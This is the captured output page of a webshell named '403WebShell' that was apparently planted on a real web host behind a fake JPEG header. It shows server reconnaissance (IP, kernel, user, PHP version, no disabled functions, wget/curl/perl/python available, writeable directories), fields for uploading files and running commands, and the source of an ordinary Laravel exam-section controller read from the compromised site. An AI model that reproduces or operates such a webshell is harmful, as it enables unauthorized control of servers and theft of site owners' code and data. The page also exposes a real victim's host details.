����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.17.70.182
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/./gltevjme/cbt.gltechlimited.com/app/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/./gltevjme/cbt.gltechlimited.com/app/Http/Controllers/Admin/ExamSectionCrudController.php
<?php

namespace App\Http\Controllers\Admin;

use App\Http\Controllers\Controller;
use App\Http\Requests\Admin\StoreExamSectionRequest;
use App\Http\Requests\Admin\UpdateExamSectionRequest;
use App\Models\Exam;
use App\Models\ExamSection;
use App\Repositories\ExamRepository;
use App\Transformers\Admin\ExamSectionTransformer;
use Illuminate\Support\Facades\DB;
use Inertia\Inertia;

class ExamSectionCrudController extends Controller
{
    private ExamRepository $repository;

    public function __construct(ExamRepository $repository)
    {
        $this->repository = $repository;
    }

    /**
     * List all exam sections
     *
     * @param $exam
     * @return \Inertia\Response
     */
    public function index($exam)
    {
        $test = Exam::select(['id', 'title', 'settings'])->with(['examSections' => function($query) {
            $query->with('section:id,name')->orderBy('section_order');
        }])->findOrFail($exam);

        return Inertia::render('Admin/Exam/Sections', [
            'editFlag' => true,
            'exam' => $test->only(['id', 'title', 'settings']),
            'steps' => $this->repository->getSteps($exam, 'sections'),
            'sections' => function () use ($test) {
                return fractal($test->examSections, new ExamSectionTransformer())->toArray()['data'];
            },
        ]);
    }

    /**
     * Store an exam section
     *
     * @param StoreExamSectionRequest $request
     * @param $exam
     * @return \Illuminate\Http\RedirectResponse
     */
    public function store(StoreExamSectionRequest $request, Exam $exam)
    {
        $examSection = new ExamSection();
        $examSection->exam_id = $exam->id;
        $examSection->name = $request->name;
        $examSection->section_id = $request->section_id;
        $examSection->correct_marks = $request->correct_marks;
        $examSection->negative_marking_type = $request->negative_marking_type;
        $examSection->negative_marks = $request->negative_marks;
        $examSection->section_cutoff = $request->section_cutoff;
        $examSection->section_order = $request->section_order;

        if($exam->settings->get('auto_duration', true)) {
            $examSection->total_duration = $examSection->questions()->sum('default_time');
        } else {
            $examSection->total_duration = $request->total_duration * 60;
        }

        if($exam->settings->get('auto_grading', true)) {
            $examSection->total_marks = $examSection->questions()->sum('default_marks');
        } else {
            $examSection->total_marks = $examSection->questions()->count() * $request->correct_marks;
        }
        $examSection->save();

        $exam->updateMeta();

        return redirect()->back()
            ->with('successMessage', 'Exam Section was successfully added!');
    }

    /**
     * Edit a section
     *
     * @param $exam
     * @param $id
     * @return \Illuminate\Http\JsonResponse
     */
    public function edit($exam, $id)
    {
        $section = ExamSection::with(['section:id,name'])->findOrFail($id);
        return response()->json($section, 200);
    }

    /**
     * Update a section
     *
     * @param UpdateExamSectionRequest $request
     * @param Exam $exam
     * @param $id
     * @return \Illuminate\Http\RedirectResponse
     */
    public function update(UpdateExamSectionRequest $request, Exam $exam, $id)
    {
        $examSection = ExamSection::findOrFail($id);
        $examSection->name = $request->name;
        $examSection->section_id = $request->section_id;
        $examSection->correct_marks = $request->correct_marks;
        $examSection->negative_marking_type = $request->negative_marking_type;
        $examSection->negative_marks = $request->negative_marks;
        $examSection->section_cutoff = $request->section_cutoff;
        $examSection->section_order = $request->section_order;

        if($exam->settings->get('auto_duration', true)) {
            $examSection->total_duration = $examSection->questions()->sum('default_time');
        } else {
            $examSection->total_duration = $request->total_duration * 60;
        }

        if($exam->settings->get('auto_grading', true)) {
            $examSection->total_marks = $examSection->questions()->sum('default_marks');
        } else {
            $examSection->total_marks = $examSection->questions()->count() * $request->correct_marks;
        }

        $examSection->update();
        $examSection->updateMeta();
        $exam->updateMeta();

        return redirect()->back()
            ->with('successMessage', 'Exam Section was successfully updated!');
    }

    /**
     * Delete a section
     *
     * @param Exam $exam
     * @param $id
     * @return \Illuminate\Http\RedirectResponse
     */
    public function destroy(Exam $exam, $id)
    {
        try {
            $examSection = ExamSection::withCount(['examSessions'])->find($id);

            if(!$examSection->canSecureDelete('examSessions')) {
                $associations = implode(", ", array_filter([
                    $examSection->exam_sessions_count > 0 ? "{$examSection->exam_sessions_count} exam sessions" : ""
                ]));
                return redirect()->back()
                    ->with('errorMessage',
                        "Unable to delete exam sections as it is associated with {$associations}. Remove all associations and try again!"
                    );
            }

            DB::transaction(function () use ($examSection) {
                $examSection->questions()->detach();
                $examSection->secureDelete('examSessions');
            });
            $exam->updateMeta();
        }
        catch (\Illuminate\Database\QueryException $e){
            return redirect()->route('exams.sections.index', ['exam' => $exam])
                ->with('errorMessage', 'Unable to Delete Section . Remove all associations and Try again!');
        }
        return redirect()->route('exams.sections.index', ['exam' => $exam])
            ->with('successMessage', 'Section was successfully deleted!');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit